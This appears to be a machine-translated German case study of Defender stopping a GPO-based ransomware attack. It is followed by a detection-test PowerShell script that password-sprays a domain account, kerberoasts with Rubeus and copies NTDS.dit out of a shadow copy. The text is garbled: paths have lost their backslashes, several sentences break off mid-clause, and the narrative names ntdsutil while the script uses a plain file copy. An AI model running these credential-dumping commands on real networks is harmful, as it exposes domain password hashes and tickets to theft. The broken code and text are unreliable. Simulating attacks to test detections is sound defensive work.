Fallstudie: Wie Defenders Predictive Shielding GPO-basierten Ransomware vor der Ausführung blockierte

Zusammenfassung

Microsoft Defender unterbrach einen ransomwarebasierten Angriff eines menschlichen Operators, der auf eine große Bildungseinrichtung abzielte, indem der Missbrauch von Gruppenrichtlinienobjekten (GPOs) erkannt wurde. Diese wurden verwendet, um Sicherheitseinstellungen zu schwächen und Ransomware durch geplante Aufgaben zu verbreiten.

Untersuchung

Die Angreifer kompromittierten ein Domänen-Admin-Konto, führten eine Active Directory-Aufzählung durch, erzwangen Anmeldeinformationen durch Brute-Force, sammelten Kerberos-Tickets und NTDS-Daten, erstellten gefälschte lokale Konten und setzten bösartige GPOs ein, um eine Manipulationsrichtlinie durchzusetzen und die Lieferung von Ransomware durch geplante Aufgaben auszulösen.

Minderung

Defenders prädiktive Abschirmung identifizierte die bösartige GPO-Aktivität, erzwang eine temporäre GPO-Härtung, blockierte die geplante Ransomware-Ausführung und verhinderte die Verschlüsselung auf 97% der Geräte.

Reaktion

Sobald entdeckt, sollten Verteidiger sofort eine GPO-Härtung aktivieren, kompromittierte Konten eindämmen, verdächtigen SMB-Verkehr blockieren und nach zusätzlichen Persistenzmethoden suchen, einschließlich der unbefugten Erstellung lokaler Konten.

Simulationsausführung

Voraussetzung: Die Telemetrie- und Basislinien-Vorflugkontrolle muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

Angriffserzählung & Befehle

1. Active Directory-Aufzählung mit ADExplorer – Ein Angreifer nutzt das vorhandene Dienstprogrammat ADExplorer.exe , um die AD-Datenbank zu durchsuchen und ein Prozess-Erstellungsevent zu generieren, das mit Image|endet mit: 'ADExplorer.exe'.

2. Anmeldeinformationen Brute-Force (T1110) – Der Angreifer führt ein Passwort-Spray gegen ein Domänenkonto durch, was zu wiederholten fehlgeschlagenen Anmeldungen (Ereignis 4625) mit dem Fehlergrund %#13 („Der Benutzer hat versucht, sich von einer nicht vertrauenswürdigen Domäne aus anzumelden“).

3. Kerberoasting (T1558.003) – Mit dem Open-Source-Tool Rubeus, fordert der Angreifer Kerberos-Diensttickets für Computer-Konto-SPNs an (z. B. HOST01$). Jede Anfrage ergibt Ereignis 4769, wo ServiceName endet mit $.

4. NTDS-Dump (T1003.003) – Der Angreifer erstellt eine Volume-Schattenkopie des Systemlaufwerks und extrahiert NTDS.dit mit ntdsutil, was Ereignis 4662 mit ObjectType = "ds" and OperationType = "Replication".

Alle vier Aktionen werden innerhalb eines 5-Minuten-Zeitfensters auf demselben Host ausgeführt, um eine realistische nach der Kompromittierung ablaufende „Ernte“-Phase nachzuahmen.

Regressionstest-Skript

# -------------------------------------------------
# Simulationsskript – Löst alle vier Erkennungspfade aus
# -------------------------------------------------

# 1. ADExplorer-Ausführung (Prozesserstellung)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer nicht gefunden – Platzhalter für den Test herunterladen."
    # Simulieren durch Kopieren einer beliebigen exe auf den erwarteten Namen
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Brute-Force-Anmeldeversuche (4625 mit %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting mit Rubeus (erfordert Rubeus.exe im PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus nicht gefunden – Kerberoasting-Schritt wird übersprungen."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. NTDS.dit-Extraktion mit VSS (4662 Replikation)
# Erstellen Sie eine VSS-Schattenkopie und kopieren Sie NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulation abgeschlossen. Alle Telemetriedaten sollten erfasst sein."

Bereinigungsbefehle

# -------------------------------------------------
# Bereinigung – entfernt durch die Simulation erstellte Artefakte
# -------------------------------------------------

# Entfernen Sie falschen ADExplorer, falls er erstellt wurde
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Löschen Sie den Kerberos-Dump
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Löschen Sie den NTDS-Dump
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Löschen Sie alle erstellten Schattenkopien (erfordert Admin)
# vssadmin delete shadows /all /quiet

Write-Host "Bereinigung abgeschlossen."